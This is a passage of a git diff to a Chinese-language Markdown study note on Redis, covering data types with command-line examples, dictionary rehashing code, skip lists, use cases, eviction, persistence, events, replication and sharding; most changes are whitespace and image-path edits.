-| HASH | 包含键值对的无序散列表 | 添加、获取、移除单个键值对</br> 获取所有键值对</br> 检查某个键是否存在|
-| ZSET | 有序集合 | 添加、获取、删除元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 |
+| 数据类型 | 可以存储的值 | 操作 |
+| :--: | :--: | :--: |
+| STRING | 字符串、整数或者浮点数 | 对整个字符串或者字符串的其中一部分执行操作</br> 对整数和浮点数执行自增或者自减操作 |
+| LIST | 列表 | 从两端压入或者弹出元素 </br> 对单个或者多个元素</br> 进行修剪，只保留一个范围内的元素 |
+| SET | 无序集合 | 添加、获取、移除单个元素</br> 检查一个元素是否存在于集合中</br> 计算交集、并集、差集</br> 从集合里面随机获取元素 |
+| HASH | 包含键值对的无序散列表 | 添加、获取、移除单个键值对</br> 获取所有键值对</br> 检查某个键是否存在|
+| ZSET | 有序集合 | 添加、获取、删除元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 |
 
-> [What Redis data structures look like](https://redislabs.com/ebook/part-1-getting-started/chapter-1-getting-to-know-redis/1-2-what-redis-data-structures-look-like/)
+> [What Redis data structures look like](https://redislabs.com/ebook/part-1-getting-started/chapter-1-getting-to-know-redis/1-2-what-redis-data-structures-look-like/)
 
-## STRING
+## STRING
 
-<img src="index_files/6019b2db-bc3e-4408-b6d8-96025f4481d6.png" width="400"/>
+<div align="center"> <img src="pics/6019b2db-bc3e-4408-b6d8-96025f4481d6.png" width="400"/> </div><br>
 
 ```html
-> set hello world
+> set hello world
 OK
-> get hello
+> get hello
 "world"
-> del hello
-(integer) 1
-> get hello
+> del hello
+(integer) 1
+> get hello
 (nil)
 ```
 
-## LIST
+## LIST
 
-<img src="index_files/fb327611-7e2b-4f2f-9f5b-38592d408f07.png" width="400"/>
+<div align="center"> <img src="pics/fb327611-7e2b-4f2f-9f5b-38592d408f07.png" width="400"/> </div><br>
 
 ```html
-> rpush list-key item
-(integer) 1
-> rpush list-key item2
-(integer) 2
-> rpush list-key item
-(integer) 3
+> rpush list-key item
+(integer) 1
+> rpush list-key item2
+(integer) 2
+> rpush list-key item
+(integer) 3
 
-> lrange list-key 0 -1
-1) "item"
-2) "item2"
-3) "item"
+> lrange list-key 0 -1
+1) "item"
+2) "item2"
+3) "item"
 
-> lindex list-key 1
+> lindex list-key 1
 "item2"
 
-> lpop list-key
+> lpop list-key
 "item"
 
-> lrange list-key 0 -1
-1) "item2"
-2) "item"
+> lrange list-key 0 -1
+1) "item2"
+2) "item"
 ```
 
-## SET
+## SET
 
-<img src="index_files/cd5fbcff-3f35-43a6-8ffa-082a93ce0f0e.png" width="400"/>
+<div align="center"> <img src="pics/cd5fbcff-3f35-43a6-8ffa-082a93ce0f0e.png" width="400"/> </div><br>
 
 ```html
-> sadd set-key item
-(integer) 1
-> sadd set-key item2
-(integer) 1
-> sadd set-key item3
-(integer) 1
-> sadd set-key item
-(integer) 0
+> sadd set-key item
+(integer) 1
+> sadd set-key item2
+(integer) 1
+> sadd set-key item3
+(integer) 1
+> sadd set-key item
+(integer) 0
 
-> smembers set-key
-1) "item"
-2) "item2"
-3) "item3"
+> smembers set-key
+1) "item"
+2) "item2"
+3) "item3"
 
-> sismember set-key item4
-(integer) 0
-> sismember set-key item
-(integer) 1
+> sismember set-key item4
+(integer) 0
+> sismember set-key item
+(integer) 1
 
-> srem set-key item2
-(integer) 1
-> srem set-key item2
-(integer) 0
+> srem set-key item2
+(integer) 1
+> srem set-key item2
+(integer) 0
 
-> smembers set-key
-1) "item"
-2) "item3"
+> smembers set-key
+1) "item"
+2) "item3"
 ```
 
-## HASH
+## HASH
 
-<img src="index_files/7bd202a7-93d4-4f3a-a878-af68ae25539a.png" width="400"/>
+<div align="center"> <img src="pics/7bd202a7-93d4-4f3a-a878-af68ae25539a.png" width="400"/> </div><br>
 
 ```html
-> hset hash-key sub-key1 value1
-(integer) 1
-> hset hash-key sub-key2 value2
-(integer) 1
-> hset hash-key sub-key1 value1
-(integer) 0
+> hset hash-key sub-key1 value1
+(integer) 1
+> hset hash-key sub-key2 value2
+(integer) 1
+> hset hash-key sub-key1 value1
+(integer) 0
 
-> hgetall hash-key
-1) "sub-key1"
-2) "value1"
-3) "sub-key2"
-4) "value2"
+> hgetall hash-key
+1) "sub-key1"
+2) "value1"
+3) "sub-key2"
+4) "value2"
 
-> hdel hash-key sub-key2
-(integer) 1
-> hdel hash-key sub-key2
-(integer) 0
+> hdel hash-key sub-key2
+(integer) 1
+> hdel hash-key sub-key2
+(integer) 0
 
-> hget hash-key sub-key1
+> hget hash-key sub-key1
 "value1"
 
-> hgetall hash-key
-1) "sub-key1"
-2) "value1"
+> hgetall hash-key
+1) "sub-key1"
+2) "value1"
 ```
 
-## ZSET
+## ZSET
 
-<img src="index_files/1202b2d6-9469-4251-bd47-ca6034fb6116.png" width="400"/>
+<div align="center"> <img src="pics/1202b2d6-9469-4251-bd47-ca6034fb6116.png" width="400"/> </div><br>
 
 ```html
-> zadd zset-key 728 member1
-(integer) 1
-> zadd zset-key 982 member0
-(integer) 1
-> zadd zset-key 982 member0
-(integer) 0
+> zadd zset-key 728 member1
+(integer) 1
+> zadd zset-key 982 member0
+(integer) 1
+> zadd zset-key 982 member0
+(integer) 0
 
-> zrange zset-key 0 -1 withscores
-1) "member1"
-2) "728"
-3) "member0"
-4) "982"
+> zrange zset-key 0 -1 withscores
+1) "member1"
+2) "728"
+3) "member0"
+4) "982"
 
-> zrangebyscore zset-key 0 800 withscores
-1) "member1"
-2) "728"
+> zrangebyscore zset-key 0 800 withscores
+1) "member1"
+2) "728"
 
-> zrem zset-key member1
-(integer) 1
-> zrem zset-key member1
-(integer) 0
+> zrem zset-key member1
+(integer) 1
+> zrem zset-key member1
+(integer) 0
 
-> zrange zset-key 0 -1 withscores
-1) "member0"
-2) "982"
+> zrange zset-key 0 -1 withscores
+1) "member0"
+2) "982"
 ```
 
-# 三、数据结构
+# 三、数据结构
 
-## 字典
+## 字典
 
-dictht 是一个散列表结构，使用拉链法保存哈希冲突。
+dictht 是一个散列表结构，使用拉链法保存哈希冲突。
 
 ```c
-/* This is our hash table structure. Every dictionary has two of this as we
- * implement incremental rehashing, for the old to the new table. */
-typedef struct dictht {
-    dictEntry **table;
-    unsigned long size;
-    unsigned long sizemask;
-    unsigned long used;
-} dictht;
+/* This is our hash table structure. Every dictionary has two of this as we
+ * implement incremental rehashing, for the old to the new table. */
+typedef struct dictht {
+    dictEntry **table;
+    unsigned long size;
+    unsigned long sizemask;
+    unsigned long used;
+} dictht;
 ```
 
 ```c
-typedef struct dictEntry {
-    void *key;
-    union {
-        void *val;
-        uint64_t u64;
-        int64_t s64;
-        double d;
-    } v;
-    struct dictEntry *next;
-} dictEntry;
+typedef struct dictEntry {
+    void *key;
+    union {
+        void *val;
+        uint64_t u64;
+        int64_t s64;
+        double d;
+    } v;
+    struct dictEntry *next;
+} dictEntry;
 ```
 
-Redis 的字典 dict 中包含两个哈希表 dictht，这是为了方便进行 rehash 操作。在扩容时，将其中一个 dictht 上的键值对 rehash 到另一个 dictht 上面，完成之后释放空间并交换两个 dictht 的角色。
+Redis 的字典 dict 中包含两个哈希表 dictht，这是为了方便进行 rehash 操作。在扩容时，将其中一个 dictht 上的键值对 rehash 到另一个 dictht 上面，完成之后释放空间并交换两个 dictht 的角色。
 
 ```c
-typedef struct dict {
-    dictType *type;
-    void *privdata;
-    dictht ht[2];
-    long rehashidx; /* rehashing not in progress if rehashidx == -1 */
-    unsigned long iterators; /* number of iterators currently running */
-} dict;
+typedef struct dict {
+    dictType *type;
+    void *privdata;
+    dictht ht[2];
+    long rehashidx; /* rehashing not in progress if rehashidx == -1 */
+    unsigned long iterators; /* number of iterators currently running */
+} dict;
 ```
 
-rehash 操作不是一次性完成，而是采用渐进方式，这是为了避免一次性执行过多的 rehash 操作给服务器带来过大的负担。
+rehash 操作不是一次性完成，而是采用渐进方式，这是为了避免一次性执行过多的 rehash 操作给服务器带来过大的负担。
 
-渐进式 rehash 通过记录 dict 的 rehashidx 完成，它从 0 开始，然后每执行一次 rehash 都会递增。例如在一次 rehash 中，要把 dict[0] rehash 到 dict[1]，这一次会把 dict[0] 上 table[rehashidx] 的键值对 rehash 到 dict[1] 上，dict[0] 的 table[rehashidx] 指向 null，并令 rehashidx++。
+渐进式 rehash 通过记录 dict 的 rehashidx 完成，它从 0 开始，然后每执行一次 rehash 都会递增。例如在一次 rehash 中，要把 dict[0] rehash 到 dict[1]，这一次会把 dict[0] 上 table[rehashidx] 的键值对 rehash 到 dict[1] 上，dict[0] 的 table[rehashidx] 指向 null，并令 rehashidx++。
 
-在 rehash 期间，每次对字典执行添加、删除、查找或者更新操作时，都会执行一次渐进式 rehash。
+在 rehash 期间，每次对字典执行添加、删除、查找或者更新操作时，都会执行一次渐进式 rehash。
 
-采用渐进式 rehash 会导致字典中的数据分散在两个 dictht 上，因此对字典的查找操作也需要到对应的 dictht 去执行。
+采用渐进式 rehash 会导致字典中的数据分散在两个 dictht 上，因此对字典的查找操作也需要到对应的 dictht 去执行。
 
 ```c
-/* Performs N steps of incremental rehashing. Returns 1 if there are still
- * keys to move from the old to the new hash table, otherwise 0 is returned.
- *
- * Note that a rehashing step consists in moving a bucket (that may have more
- * than one key as we use chaining) from the old to the new hash table, however
- * since part of the hash table may be composed of empty spaces, it is not
- * guaranteed that this function will rehash even a single bucket, since it
- * will visit at max N*10 empty buckets in total, otherwise the amount of
- * work it does would be unbound and the function may block for a long time. */
-int dictRehash(dict *d, int n) {
-    int empty_visits = n * 10; /* Max number of empty buckets to visit. */
-    if (!dictIsRehashing(d)) return 0;
+/* Performs N steps of incremental rehashing. Returns 1 if there are still
+ * keys to move from the old to the new hash table, otherwise 0 is returned.
+ *
+ * Note that a rehashing step consists in moving a bucket (that may have more
+ * than one key as we use chaining) from the old to the new hash table, however
+ * since part of the hash table may be composed of empty spaces, it is not
+ * guaranteed that this function will rehash even a single bucket, since it
+ * will visit at max N*10 empty buckets in total, otherwise the amount of
+ * work it does would be unbound and the function may block for a long time. */
+int dictRehash(dict *d, int n) {
+    int empty_visits = n * 10; /* Max number of empty buckets to visit. */
+    if (!dictIsRehashing(d)) return 0;
 
-    while (n-- && d->ht[0].used != 0) {
-        dictEntry *de, *nextde;
+    while (n-- && d->ht[0].used != 0) {
+        dictEntry *de, *nextde;
 
-        /* Note that rehashidx can't overflow as we are sure there are more
-         * elements because ht[0].used != 0 */
-        assert(d->ht[0].size > (unsigned long) d->rehashidx);
-        while (d->ht[0].table[d->rehashidx] == NULL) {
-            d->rehashidx++;
-            if (--empty_visits == 0) return 1;
-        }
-        de = d->ht[0].table[d->rehashidx];
-        /* Move all the keys in this bucket from the old to the new hash HT */
-        while (de) {
-            uint64_t h;
+        /* Note that rehashidx can't overflow as we are sure there are more
+         * elements because ht[0].used != 0 */
+        assert(d->ht[0].size > (unsigned long) d->rehashidx);
+        while (d->ht[0].table[d->rehashidx] == NULL) {
+            d->rehashidx++;
+            if (--empty_visits == 0) return 1;
+        }
+        de = d->ht[0].table[d->rehashidx];
+        /* Move all the keys in this bucket from the old to the new hash HT */
+        while (de) {
+            uint64_t h;
 
-            nextde = de->next;
-            /* Get the index in the new hash table */
-            h = dictHashKey(d, de->key) & d->ht[1].sizemask;
-            de->next = d->ht[1].table[h];
-            d->ht[1].table[h] = de;
-            d->ht[0].used--;
-            d->ht[1].used++;
-            de = nextde;
-        }
-        d->ht[0].table[d->rehashidx] = NULL;
-        d->rehashidx++;
-    }
+            nextde = de->next;
+            /* Get the index in the new hash table */
+            h = dictHashKey(d, de->key) & d->ht[1].sizemask;
+            de->next = d->ht[1].table[h];
+            d->ht[1].table[h] = de;
+            d->ht[0].used--;
+            d->ht[1].used++;
+            de = nextde;
+        }
+        d->ht[0].table[d->rehashidx] = NULL;
+        d->rehashidx++;
+    }
 
-    /* Check if we already rehashed the whole table... */
-    if (d->ht[0].used == 0) {
-        zfree(d->ht[0].table);
-        d->ht[0] = d->ht[1];
-        _dictReset(&d->ht[1]);
-        d->rehashidx = -1;
-        return 0;
-    }
+    /* Check if we already rehashed the whole table... */
+    if (d->ht[0].used == 0) {
+        zfree(d->ht[0].table);
+        d->ht[0] = d->ht[1];
+        _dictReset(&d->ht[1]);
+        d->rehashidx = -1;
+        return 0;
+    }
 
-    /* More to rehash... */
-    return 1;
+    /* More to rehash... */
+    return 1;
 }
 ```
 
-## 跳跃表
+## 跳跃表
 
 是有序集合的底层实现之一。
 
 跳跃表是基于多指针有序链表实现的，可以看成多个有序链表。
 
-<img src="index_files/beba612e-dc5b-4fc2-869d-0b23408ac90a.png" width="600px"/>
+<div align="center"> <img src="pics/beba612e-dc5b-4fc2-869d-0b23408ac90a.png" width="600px"/> </div><br>
 
-在查找时，从上层指针开始查找，找到对应的区间之后再到下一层去查找。下图演示了查找 22 的过程。
+在查找时，从上层指针开始查找，找到对应的区间之后再到下一层去查找。下图演示了查找 22 的过程。
 
-<img src="index_files/0ea37ee2-c224-4c79-b895-e131c6805c40.png" width="600px"/>
+<div align="center"> <img src="pics/0ea37ee2-c224-4c79-b895-e131c6805c40.png" width="600px"/> </div><br>
 
 与红黑树等平衡树相比，跳跃表具有以下优点：
 
-- 插入速度非常快速，因为不需要进行旋转等操作来维护平衡性；
-- 更容易实现；
-- 支持无锁操作。
+- 插入速度非常快速，因为不需要进行旋转等操作来维护平衡性；
+- 更容易实现；
+- 支持无锁操作。
 
-# 四、使用场景
+# 四、使用场景
 
-## 计数器
+## 计数器
 
-可以对 String 进行自增自减运算，从而实现计数器功能。
+可以对 String 进行自增自减运算，从而实现计数器功能。
 
-Redis 这种内存型数据库的读写性能非常高，很适合存储频繁读写的计数量。
+Redis 这种内存型数据库的读写性能非常高，很适合存储频繁读写的计数量。
 
-## 缓存
+## 缓存
 
 将热点数据放到内存中，设置内存的最大使用量以及淘汰策略来保证缓存的命中率。
 
-## 查找表
+## 查找表
 
-例如 DNS 记录就很适合使用 Redis 进行存储。
+例如 DNS 记录就很适合使用 Redis 进行存储。
 
-查找表和缓存类似，也是利用了 Redis 快速的查找特性。但是查找表的内容不能失效，而缓存的内容可以失效，因为缓存不作为可靠的数据来源。
+查找表和缓存类似，也是利用了 Redis 快速的查找特性。但是查找表的内容不能失效，而缓存的内容可以失效，因为缓存不作为可靠的数据来源。
 
-## 消息队列
+## 消息队列
 
-List 是一个双向链表，可以通过 lpop 和 lpush 写入和读取消息。
+List 是一个双向链表，可以通过 lpop 和 lpush 写入和读取消息。
 
-不过最好使用 Kafka、RabbitMQ 等消息中间件。
+不过最好使用 Kafka、RabbitMQ 等消息中间件。
 
-## 会话缓存
+## 会话缓存
 
-可以使用 Redis 来统一存储多台应用服务器的会话信息。
+可以使用 Redis 来统一存储多台应用服务器的会话信息。
 
 当应用服务器不再存储用户的会话信息，也就不再具有状态，一个用户可以请求任意一个应用服务器，从而更容易实现高可用性以及可伸缩性。
 
-## 分布式锁实现
+## 分布式锁实现
 
 在分布式场景下，无法使用单机环境下的锁来对多个节点上的进程进行同步。
 
-可以使用 Reids 自带的 SETNX 命令实现分布式锁，除此之外，还可以使用官方提供的 RedLock 分布式锁实现。
+可以使用 Reids 自带的 SETNX 命令实现分布式锁，除此之外，还可以使用官方提供的 RedLock 分布式锁实现。
 
-## 其它
+## 其它
 
-Set 可以实现交集、并集等操作，从而实现共同好友等功能。
+Set 可以实现交集、并集等操作，从而实现共同好友等功能。
 
-ZSet 可以实现有序性操作，从而实现排行榜等功能。
+ZSet 可以实现有序性操作，从而实现排行榜等功能。
 
-# 五、Redis 与 Memcached
+# 五、Redis 与 Memcached
 
 两者都是非关系型内存键值数据库，主要有以下不同：
 
-## 数据类型
+## 数据类型
 
-Memcached 仅支持字符串类型，而 Redis 支持五种不同的数据类型，可以更灵活地解决问题。
+Memcached 仅支持字符串类型，而 Redis 支持五种不同的数据类型，可以更灵活地解决问题。
 
-## 数据持久化
+## 数据持久化
 
-Redis 支持两种持久化策略：RDB 快照和 AOF 日志，而 Memcached 不支持持久化。
+Redis 支持两种持久化策略：RDB 快照和 AOF 日志，而 Memcached 不支持持久化。
 
-## 分布式
+## 分布式
 
-Memcached 不支持分布式，只能通过在客户端使用一致性哈希来实现分布式存储，这种方式在存储和查询时都需要先在客户端计算一次数据所在的节点。
+Memcached 不支持分布式，只能通过在客户端使用一致性哈希来实现分布式存储，这种方式在存储和查询时都需要先在客户端计算一次数据所在的节点。
 
-Redis Cluster 实现了分布式的支持。
+Redis Cluster 实现了分布式的支持。
 
-## 内存管理机制
+## 内存管理机制
 
-- 在 Redis 中，并不是所有数据都一直存储在内存中，可以将一些很久没用的 value 交换到磁盘，而 Memcached 的数据则会一直在内存中。
+- 在 Redis 中，并不是所有数据都一直存储在内存中，可以将一些很久没用的 value 交换到磁盘，而 Memcached 的数据则会一直在内存中。
 
-- Memcached 将内存分割成特定长度的块来存储数据，以完全解决内存碎片的问题。但是这种方式会使得内存的利用率不高，例如块的大小为 128 bytes，只存储 100 bytes 的数据，那么剩下的 28 bytes 就浪费掉了。
+- Memcached 将内存分割成特定长度的块来存储数据，以完全解决内存碎片的问题。但是这种方式会使得内存的利用率不高，例如块的大小为 128 bytes，只存储 100 bytes 的数据，那么剩下的 28 bytes 就浪费掉了。
 
-# 六、键的过期时间
+# 六、键的过期时间
 
-Redis 可以为每个键设置过期时间，当键过期时，会自动删除该键。
+Redis 可以为每个键设置过期时间，当键过期时，会自动删除该键。
 
 对于散列表这种容器，只能为整个键设置过期时间（整个散列表），而不能为键里面的单个元素设置过期时间。
 
-# 七、数据淘汰策略
+# 七、数据淘汰策略
 
 可以设置内存最大使用量，当内存使用量超出时，会施行数据淘汰策略。
 
-Reids 具体有 6 种淘汰策略：
+Reids 具体有 6 种淘汰策略：
 
-| 策略 | 描述 |
-| :--: | :--: |
-| volatile-lru | 从已设置过期时间的数据集中挑选最近最少使用的数据淘汰 |
-| volatile-ttl | 从已设置过期时间的数据集中挑选将要过期的数据淘汰 |
-|volatile-random | 从已设置过期时间的数据集中任意选择数据淘汰 |
-| allkeys-lru | 从所有数据集中挑选最近最少使用的数据淘汰 |
-| allkeys-random | 从所有数据集中任意选择数据进行淘汰 |
-| noeviction | 禁止驱逐数据 |
+| 策略 | 描述 |
+| :--: | :--: |
+| volatile-lru | 从已设置过期时间的数据集中挑选最近最少使用的数据淘汰 |
+| volatile-ttl | 从已设置过期时间的数据集中挑选将要过期的数据淘汰 |
+|volatile-random | 从已设置过期时间的数据集中任意选择数据淘汰 |
+| allkeys-lru | 从所有数据集中挑选最近最少使用的数据淘汰 |
+| allkeys-random | 从所有数据集中任意选择数据进行淘汰 |
+| noeviction | 禁止驱逐数据 |
 
-作为内存数据库，出于对性能和内存消耗的考虑，Redis 的淘汰算法实际实现上并非针对所有 key，而是抽样一小部分并且从中选出被淘汰的 key。
+作为内存数据库，出于对性能和内存消耗的考虑，Redis 的淘汰算法实际实现上并非针对所有 key，而是抽样一小部分并且从中选出被淘汰的 key。
 
-使用 Redis 缓存数据时，为了提高缓存命中率，需要保证缓存数据都是热点数据。可以将内存最大使用量设置为热点数据占用的内存量，然后启用 allkeys-lru 淘汰策略，将最近最少使用的数据淘汰。
+使用 Redis 缓存数据时，为了提高缓存命中率，需要保证缓存数据都是热点数据。可以将内存最大使用量设置为热点数据占用的内存量，然后启用 allkeys-lru 淘汰策略，将最近最少使用的数据淘汰。
 
-Redis 4.0 引入了 volatile-lfu 和 allkeys-lfu 淘汰策略，LFU 策略通过统计访问频率，将访问频率最少的键值对淘汰。
+Redis 4.0 引入了 volatile-lfu 和 allkeys-lfu 淘汰策略，LFU 策略通过统计访问频率，将访问频率最少的键值对淘汰。
 
-# 八、持久化
+# 八、持久化
 
-Redis 是内存型数据库，为了保证数据在断电后不会丢失，需要将内存中的数据持久化到硬盘上。
+Redis 是内存型数据库，为了保证数据在断电后不会丢失，需要将内存中的数据持久化到硬盘上。
 
-## RDB 持久化
+## RDB 持久化
 
 将某个时间点的所有数据都存放到硬盘上。
 
@@ -389,187 +437,173 @@ Redis 是内存型数据库，为了保证数据在断电后不会丢失，需
 
 如果数据量很大，保存快照的时间会很长。
 
-## AOF 持久化
+## AOF 持久化
 
-将写命令添加到 AOF 文件（Append Only File）的末尾。
+将写命令添加到 AOF 文件（Append Only File）的末尾。
 
-使用 AOF 持久化需要设置同步选项，从而确保写命令什么时候会同步到磁盘文件上。这是因为对文件进行写入并不会马上将内容同步到磁盘上，而是先存储到缓冲区，然后由操作系统决定什么时候同步到磁盘。有以下同步选项：
+使用 AOF 持久化需要设置同步选项，从而确保写命令什么时候会同步到磁盘文件上。这是因为对文件进行写入并不会马上将内容同步到磁盘上，而是先存储到缓冲区，然后由操作系统决定什么时候同步到磁盘。有以下同步选项：
 
-| 选项 | 同步频率 |
-| :--: | :--: |
-| always | 每个写命令都同步 |
-| everysec | 每秒同步一次 |
-| no | 让操作系统来决定何时同步 |
+| 选项 | 同步频率 |
+| :--: | :--: |
+| always | 每个写命令都同步 |
+| everysec | 每秒同步一次 |
+| no | 让操作系统来决定何时同步 |
 
-- always 选项会严重减低服务器的性能；
-- everysec 选项比较合适，可以保证系统崩溃时只会丢失一秒左右的数据，并且 Redis 每秒执行一次同步对服务器性能几乎没有任何影响；
-- no 选项并不能给服务器性能带来多大的提升，而且也会增加系统崩溃时数据丢失的数量。
+- always 选项会严重减低服务器的性能；
+- everysec 选项比较合适，可以保证系统崩溃时只会丢失一秒左右的数据，并且 Redis 每秒执行一次同步对服务器性能几乎没有任何影响；
+- no 选项并不能给服务器性能带来多大的提升，而且也会增加系统崩溃时数据丢失的数量。
 
-随着服务器写请求的增多，AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性，能够去除 AOF 文件中的冗余写命令。
+随着服务器写请求的增多，AOF 文件会越来越大。Redis 提供了一种将 AOF 重写的特性，能够去除 AOF 文件中的冗余写命令。
 
-# 九、事务
+# 九、事务
 
 一个事务包含了多个命令，服务器在执行事务期间，不会改去执行其它客户端的命令请求。
 
 事务中的多个命令被一次性发送给服务器，而不是一条一条发送，这种方式被称为流水线，它可以减少客户端与服务器之间的网络通信次数从而提升性能。
 
-Redis 最简单的事务实现方式是使用 MULTI 和 EXEC 命令将事务操作包围起来。
+Redis 最简单的事务实现方式是使用 MULTI 和 EXEC 命令将事务操作包围起来。
 
-# 十、事件
+# 十、事件
 
-Redis 服务器是一个事件驱动程序。
+Redis 服务器是一个事件驱动程序。
 
-## 文件事件
+## 文件事件
 
 服务器通过套接字与客户端或者其它服务器进行通信，文件事件就是对套接字操作的抽象。
 
-Redis 基于 Reactor 模式开发了自己的网络事件处理器，使用 I/O 多路复用程序来同时监听多个套接字，并将到达的事件传送给文件事件分派器，分派器会根据套接字产生的事件类型调用相应的事件处理器。
+Redis 基于 Reactor 模式开发了自己的网络事件处理器，使用 I/O 多路复用程序来同时监听多个套接字，并将到达的事件传送给文件事件分派器，分派器会根据套接字产生的事件类型调用相应的事件处理器。
 
-<img src="index_files/9ea86eb5-000a-4281-b948-7b567bd6f1d8.png" width=""/>
+<div align="center"> <img src="pics/9ea86eb5-000a-4281-b948-7b567bd6f1d8.png" width=""/> </div><br>
 
-## 时间事件
+## 时间事件
 
 服务器有一些操作需要在给定的时间点执行，时间事件是对这类定时操作的抽象。
 
 时间事件又分为：
 
-- 定时事件：是让一段程序在指定的时间之内执行一次；
-- 周期性事件：是让一段程序每隔指定时间就执行一次。
+- 定时事件：是让一段程序在指定的时间之内执行一次；
+- 周期性事件：是让一段程序每隔指定时间就执行一次。
 
-Redis 将所有时间事件都放在一个无序链表中，通过遍历整个链表查找出已到达的时间事件，并调用相应的事件处理器。
+Redis 将所有时间事件都放在一个无序链表中，通过遍历整个链表查找出已到达的时间事件，并调用相应的事件处理器。
 
-## 事件的调度与执行
+## 事件的调度与执行
 
 服务器需要不断监听文件事件的套接字才能得到待处理的文件事件，但是不能一直监听，否则时间事件无法在规定的时间内执行，因此监听时间应该根据距离现在最近的时间事件来决定。
 
-事件调度与执行由 aeProcessEvents 函数负责，伪代码如下：
+事件调度与执行由 aeProcessEvents 函数负责，伪代码如下：
 
 ```python
-def aeProcessEvents():
-    # 获取到达时间离当前时间最接近的时间事件
-    time_event = aeSearchNearestTimer()
-    # 计算最接近的时间事件距离到达还有多少毫秒
-    remaind_ms = time_event.when - unix_ts_now()
-    # 如果事件已到达，那么 remaind_ms 的值可能为负数，将它设为 0
-    if remaind_ms < 0:
-        remaind_ms = 0
-    # 根据 remaind_ms 的值，创建 timeval
-    timeval = create_timeval_with_ms(remaind_ms)
-    # 阻塞并等待文件事件产生，最大阻塞时间由传入的 timeval 决定
-    aeApiPoll(timeval)
-    # 处理所有已产生的文件事件
-    procesFileEvents()
-    # 处理所有已到达的时间事件
-    processTimeEvents()
+def aeProcessEvents():
+    # 获取到达时间离当前时间最接近的时间事件
+    time_event = aeSearchNearestTimer()
+    # 计算最接近的时间事件距离到达还有多少毫秒
+    remaind_ms = time_event.when - unix_ts_now()
+    # 如果事件已到达，那么 remaind_ms 的值可能为负数，将它设为 0
+    if remaind_ms < 0:
+        remaind_ms = 0
+    # 根据 remaind_ms 的值，创建 timeval
+    timeval = create_timeval_with_ms(remaind_ms)
+    # 阻塞并等待文件事件产生，最大阻塞时间由传入的 timeval 决定
+    aeApiPoll(timeval)
+    # 处理所有已产生的文件事件
+    procesFileEvents()
+    # 处理所有已到达的时间事件
+    processTimeEvents()
 ```
 
-将 aeProcessEvents 函数置于一个循环里面，加上初始化和清理函数，就构成了 Redis 服务器的主函数，伪代码如下：
+将 aeProcessEvents 函数置于一个循环里面，加上初始化和清理函数，就构成了 Redis 服务器的主函数，伪代码如下：
 
 ```python
-def main():
-    # 初始化服务器
-    init_server()
-    # 一直处理事件，直到服务器关闭为止
-    while server_is_not_shutdown():
-        aeProcessEvents()
-    # 服务器关闭，执行清理操作
-    clean_server()
+def main():
+    # 初始化服务器
+    init_server()
+    # 一直处理事件，直到服务器关闭为止
+    while server_is_not_shutdown():
+        aeProcessEvents()
+    # 服务器关闭，执行清理操作
+    clean_server()
 ```
 
 从事件处理的角度来看，服务器运行流程如下：
 
-<img src="index_files/c0a9fa91-da2e-4892-8c9f-80206a6f7047.png" width="350"/>
+<div align="center"> <img src="pics/c0a9fa91-da2e-4892-8c9f-80206a6f7047.png" width="350"/> </div><br>
 
-# 十一、复制
+# 十一、复制
 
-通过使用 slaveof host port 命令来让一个服务器成为另一个服务器的从服务器。
+通过使用 slaveof host port 命令来让一个服务器成为另一个服务器的从服务器。
 
 一个从服务器只能有一个主服务器，并且不支持主主复制。
 
-## 连接过程
+## 连接过程
 
-1. 主服务器创建快照文件，发送给从服务器，并在发送期间使用缓冲区记录执行的写命令。快照文件发送完毕之后，开始向从服务器发送存储在缓冲区中的写命令；
+1. 主服务器创建快照文件，发送给从服务器，并在发送期间使用缓冲区记录执行的写命令。快照文件发送完毕之后，开始向从服务器发送存储在缓冲区中的写命令；
 
-2. 从服务器丢弃所有旧数据，载入主服务器发来的快照文件，之后从服务器开始接受主服务器发来的写命令；
+2. 从服务器丢弃所有旧数据，载入主服务器发来的快照文件，之后从服务器开始接受主服务器发来的写命令；
 
-3. 主服务器每执行一次写命令，就向从服务器发送相同的写命令。
+3. 主服务器每执行一次写命令，就向从服务器发送相同的写命令。
 
-## 主从链
+## 主从链
 
 随着负载不断上升，主服务器可能无法很快地更新所有从服务器，或者重新连接和重新同步从服务器将导致系统超载。为了解决这个问题，可以创建一个中间层来分担主服务器的复制工作。中间层的服务器是最上层服务器的从服务器，又是最下层服务器的主服务器。
 
-<img src="index_files/395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png" width="600"/>
+<div align="center"> <img src="pics/395a9e83-b1a1-4a1d-b170-d081e7bb5bab.png" width="600"/> </div><br>
 
-# 十二、Sentinel
+# 十二、Sentinel
 
 Sentinel（哨兵）可以监听集群中的服务器，并在主服务器进入下线状态时，自动从从服务器中选举出新的主服务器。
 
-# 十三、分片
+# 十三、分片
 
 分片是将数据划分为多个部分的方法，可以将数据存储到多台机器里面，这种方法在解决某些问题时可以获得线性级别的性能提升。
 
-假设有 4 个 Reids 实例 R0，R1，R2，R3，还有很多表示用户的键 user:1，user:2，... ，有不同的方式来选择一个指定的键存储在哪个实例中。
+假设有 4 个 Reids 实例 R0，R1，R2，R3，还有很多表示用户的键 user:1，user:2，... ，有不同的方式来选择一个指定的键存储在哪个实例中。
 
-- 最简单的方式是范围分片，例如用户 id 从 0~1000 的存储到实例 R0 中，用户 id 从 1001~2000 的存储到实例 R1 中，等等。但是这样需要维护一张映射范围表，维护操作代价很高。
-- 还有一种方式是哈希分片，使用 CRC32 哈希函数将键转换为一个数字，再对实例数量求模就能知道应该存储的实例。
+- 最简单的方式是范围分片，例如用户 id 从 0\~1000 的存储到实例 R0 中，用户 id 从 1001\~2000 的存储到实例 R1 中，等等。但是这样需要维护一张映射范围表，维护操作代价很高。
+- 还有一种方式是哈希分片，使用 CRC32 哈希函数将键转换为一个数字，再对实例数量求模就能知道应该存储的实例。
 
 根据执行分片的位置，可以分为三种分片方式：
 
-- 客户端分片：客户端使用一致性哈希等算法决定键应当分布到哪个节点。
-- 代理分片：将客户端请求发送到代理上，由代理转发请求到正确的节点上。
-- 服务器分片：Redis Cluster。
+- 客户端分片：客户端使用一致性哈希等算法决定键应当分布到哪个节点。
+- 代理分片：将客户端请求发送到代理上，由代理转发请求到正确的节点上。
+- 服务器分片：Redis Cluster。
 
-# 十四、一个简单的论坛系统分析
+# 十四、一个简单的论坛系统分析
 
 该论坛系统功能如下：
 
-- 可以发布文章；
-- 可以对文章进行点赞；
